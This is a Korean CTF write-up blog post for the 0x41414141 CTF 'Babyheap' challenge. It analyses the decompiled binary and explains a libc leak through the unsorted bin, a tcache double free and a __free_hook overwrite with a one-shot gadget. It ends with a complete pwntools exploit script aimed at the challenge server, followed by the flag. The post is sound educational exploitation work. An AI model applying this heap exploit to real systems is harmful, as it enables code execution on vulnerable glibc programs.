ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [0x41414141 CTF] Babyheap
    CTF/WRITEUP 2021. 2. 3. 01:12

    Summary 개요


    1. Unsorted bin attack으로 libc address leak
    2. Tcache dup으로 __free_hook에 heap 할당
    3. oneshot gadget으로 hook Overwrite

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        int32_t iVar1;
        undefined8 uVar2;
        int64_t in_FS_OFFSET;
        undefined var_dh;
        int32_t var_ch;
        int64_t var_8h;
        
        var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
        ignore_me_init_buffering();
        puts("You can never miss the chance to have a baby heap challenge, come on.");
        puts("So let\'s go for our standard 4 function baby heap challenge!\n");
    code_r0x000015a6:
        menu();
        iVar1 = __isoc99_scanf(0x2031, &var_ch);
        if (iVar1 == 0) {
            puts("Please enter an integer");
            __isoc99_scanf(0x204d, &var_dh);
            uVar2 = 0;
            if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
                uVar2 = __stack_chk_fail();
            }
            return uVar2;
        }
        if (var_ch == 4) {
            puts("Exiting ....");
            exit(0);
        } else {
            if (4 < var_ch) goto code_r0x00001664;
            if (var_ch == 3) {
                freeing();
                goto code_r0x000015a6;
            }
            if (var_ch < 4) {
                if (var_ch == 1) {
                    alloc();
                } else {
                    if (var_ch != 2) goto code_r0x00001664;
                    show();
                }
                goto code_r0x000015a6;
            }
        }
    code_r0x00001664:
        puts("That option isn\'t yet included.");
        goto code_r0x000015a6;
    }

    main은 숫자를 입력받아 해당하는 함수를 실행한다.

     

    1. alloc()

    void alloc(void)
    {
        int32_t iVar1;
        int64_t in_FS_OFFSET;
        undefined var_19h;
        int32_t var_18h;
        int64_t &var_10h;
        int64_t canary;
        
        canary = *(int64_t *)(in_FS_OFFSET + 0x28);
        puts("How many bytes would you like to malloc?");
        iVar1 = __isoc99_scanf(0x2031, &&var_10h);
        if (iVar1 == 0) {
            puts("Please enter an integer.");
            __isoc99_scanf(0x204d, &var_18h);
        } else {
            if ((int32_t)&var_10h < 1) {
                puts("Please enter an integer greater than 0");
            } else {
                puts("What index would you like to malloc?");
                iVar1 = __isoc99_scanf(0x2031, &var_18h);
                if (iVar1 == 0) {
                    puts("Please enter an integer.");
                    __isoc99_scanf(0x204d, &var_19h);
                } else {
                    *(int64_t *)0x0 = malloc((int64_t)(int32_t)&var_10h);
                    if (*(int64_t *)0x0 == 0) {
                        puts("Memory not allocated.");
                    } else {
                        if (var_18h < 8) {
                            if (*(int64_t *)(heap_buf + (int64_t)var_18h * 8) == 0) {
                                puts("What data would you like to enter?");
                                read(0, stack0xffffffffffffffe8, (int64_t)(int32_t)&var_10h);
                                *(int64_t *)(heap_buf + (int64_t)var_18h * 8) = stack0xffffffffffffffe8;
                            } else {
                                puts("Index already in use, please use another.");
                            }
                        } else {
                            puts("Can\'t reach that index!");
                        }
                    }
                }
            }
        }
        if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
            __stack_chk_fail();
        }
        return;
    }

    alloc은 최대 8번까지 원하는 바이트의 힙을 할당해 그 값을 조작할 수 있다.

     

    2. show()

    void show(void)
    {
        int32_t iVar1;
        int64_t in_FS_OFFSET;
        undefined var_dh;
        int32_t var_ch;
        int64_t canary;
        
        canary = *(int64_t *)(in_FS_OFFSET + 0x28);
        puts("What index would you like to view?");
        iVar1 = __isoc99_scanf(0x2031, &var_ch);
        if (iVar1 == 0) {
            puts("Please enter an integer.");
            __isoc99_scanf(0x204d, &var_dh);
        } else {
            if (var_ch < 8) {
                if (*(int64_t *)(heap_buf + (int64_t)var_ch * 8) == 0) {
                    puts("No data has been put there yet!");
                } else {
                    puts("Your data that you requested:");
                    puts(*(undefined8 *)(heap_buf + (int64_t)var_ch * 8));
                }
            } else {
                puts("Can\'t reach that index!");
            }
        }
        if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
            __stack_chk_fail();
        }
        return;
    }
    

    show는 저장된 8개의 주소 중 원하는 영역의 데이터를 읽어올 수 있다.

     

    3. freeing()

    void freeing(void)
    {
        int32_t iVar1;
        int64_t in_FS_OFFSET;
        undefined var_dh;
        int32_t var_ch;
        int64_t canary;
        
        canary = *(int64_t *)(in_FS_OFFSET + 0x28);
        puts("What index would you like to free?");
        iVar1 = __isoc99_scanf(0x2031, &var_ch);
        if (iVar1 == 0) {
            puts("Please enter an integer.");
            __isoc99_scanf(0x204d, &var_dh);
        } else {
            if (var_ch < 8) {
                free(*(undefined8 *)(heap_buf + (int64_t)var_ch * 8));
            } else {
                puts("Can\'t reach that index!");
            }
        }
        if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) {
            __stack_chk_fail();
        }
        return;
    }
    

    freeing은 저장된 8개의 주소 중 원하는 것의 할당을 해제할 수 있다.

     

    주어진 바이너리를 실행하면 다음과 같은 에러가 발생한다.

    이는 해당하는 libc와 ld를 불러오지 못해 생기는 오류로, 문제에서 주어진 libc와 ld를 patchelf를 통해 로드해주면 정상적으로 실행된다.

     

    libc
    ld

    이대로 gdb를 실행해서 heapinfo와 같은 명령어를 입력하면 또 오류가 발생한다.

    Can not get libc version

    이는 디버깅 심볼과 같은 정보를 읽어오지 못하기 때문으로, libc 버전에 맞는 파일을 찾아서 넣어줘야 한다.

     

    이 경우에 필요한 libc6-dbg 2.27은 아래에서 구할 수 있다. (우클릭 후 새 창에서 링크 열기)

    security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6-dbg_2.27-3ubuntu1.2_amd64.deb

     

    다운받은 파일에서 /usr/lib/debug/lib/x86_64-linux-gnu 폴더만 따로 복사해 원하는 곳에 옮겨두자.

    이처럼 exploit 코드, 바이너리 파일과 같은 공간으로 옮겼다면 gdb가 시작할 때 아래와 같은 명령어로 debug file을 선택해 줄 수 있다.

    gdb set debug file
    heapinfo

    이제 heapinfo가 정상적으로 작동하고 디버깅이 문제없이 진행된다.

    Unsorted bin attack


    할당할 힙의 크기를 마음대로 정할 수 있으므로 tcache가 허용하는 크기(0x408 전후)를 넘는 힙을 0번에 할당하고 해제해주자. 이때 해제하기 전에 1번에 적당한 크기의 힙을 할당해주면 0번 힙이 top chunk와 인접해있지 않아 free 이후 unsorted bin에 들어가게 된다.

     

    unsorted bin에 들어간 청크는 <main_arena+96>이 FD에 적히게 되고, main_arena는 malloc_hook의 바로 뒤에 붙어있으므로 이를 바탕으로 libc base address를 구할 수 있다.

    alloc(0, 0x600, "\x00")
    alloc(1, 0x28, "\x00")
    
    free(0)
    
    malloc_hook = u64(show(0).ljust(8, b"\x00")) - 0x70
    libc = malloc_hook - l.symbols["__malloc_hook"]

     

    Tcache dup


    glibc 2.26이후 버전은 tcache를 사용하고, 그 중에서도 <2.29에 해당하는 버전은 tcache에 대한 double free 검증이 없기 때문에 단순히 같은 메모리를 두 번 해제해주는 것으로 double free를 만들어낼 수 있다.

     

    double free

    1번 힙을 double free한 상태에서 같은 크기의 힙을 할당해주면 1번과 같은 주소에 힙이 할당된다.

     

    malloc 이후 할당된 힙의 FD를 조작하면 tcache가 들어있는 연결 리스트를 조작할 수 있다. 위 사진은 'AAAA\n'을 입력해서 FD의 일부 바이트가 바뀐 모습이다.

     

    이대로 같은 크기로 힙을 두 번 더 할당해주면 다음 힙은 1번과 같은 주소에 할당이 되고, 마지막 힙은 조작된 FD에 할당될 것이다.

    hook Overwrite


    바이너리에 PIE, RELRO, NX가 걸려있다. 따라서 코드 영역의 주소를 알 수 없고, 스택에 쉘코드 삽입이 불가능하고 got를 덮어쓸 수도 없다. 공격에 앞서 현재 무엇을 할 수 있는지를 먼저 생각해보자.

     

    Unsorted bin attack과 Tcache dup을 통해 가능해진 것은 다음과 같다.

    • Tcache dup을 통해 임의 주소 쓰기가 가능하다.
    • Libc base address를 알고 있다.
    • malloc과 free를 원하는 때에 호출할 수 있다.

     

    이는 hook Overwrite을 실행할 조건에 완벽히 부합한다. 또한 라이브러리 주소를 알고 있으므로 oneshot gadget 또한 사용이 가능하다.

    free(1)
    free(1)
    
    alloc(2, 0x28, p64(free_hook))
    alloc(3, 0x28, "A")
    alloc(4, 0x28, p64(oneshot))

    따라서 double free 이후 세 번의 할당에 걸쳐 free_hook을 oneshot gadget의 주소로 덮어쓰면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./babyheap"
    lib = "./libc-2.27.so"
    server = "161.97.176.150"
    port = 5555
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if False:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    def alloc(idx, size, data):
    	p.sendlineafter("Exit\n", "1")
    	p.sendlineafter("\n", str(size))
    	p.sendlineafter("\n", str(idx))
    	p.send(data)
    
    def show(idx):
    	p.sendlineafter("Exit\n", "2")
    	p.sendlineafter("\n", str(idx))
    	p.recvline()
    	return p.recvline().strip()
    
    def free(idx):
    	p.sendlineafter("Exit\n", "3")
    	p.sendlineafter("\n", str(idx))
    
    def exit():
    	p.sendlineafter("Exit\n", "4")
    
    oneshot_offset = [0x4f365, 0x4f3c2, 0x10a45c]
    
    alloc(0, 0x600, "\x00")
    alloc(1, 0x28, "\x00")
    
    free(0)
    
    malloc_hook = u64(show(0).ljust(8, b"\x00")) - 0x70
    libc = malloc_hook - l.symbols["__malloc_hook"]
    free_hook = libc + l.symbols["__free_hook"]
    oneshot = libc + oneshot_offset[1]
    log.info("libc : " + hex(libc))
    
    free(1)
    free(1)
    
    alloc(2, 0x28, p64(free_hook))
    alloc(3, 0x28, "A")
    alloc(4, 0x28, p64(oneshot))
    
    free(1)
    
    p.interactive()

    Flag

    fl4g{us1ng_4_d0ubl3_fr33_1s_s1mpl3r_s41d_th4n_d0n3_8329321}

    'CTF > WRITEUP' 카테고리의 다른 글

    [DiceCTF 2021] flippidy  (0) 2021.02.06
    [DiceCTF 2021] babyrop  (0) 2021.02.06
    [0x41414141 CTF] Faking till you're Making  (0) 2021.02.02
    [0x41414141 CTF] Moving signals  (0) 2021.02.02
    [0x41414141 CTF] echo  (0) 2021.02.02

    댓글

Designed by Tistory.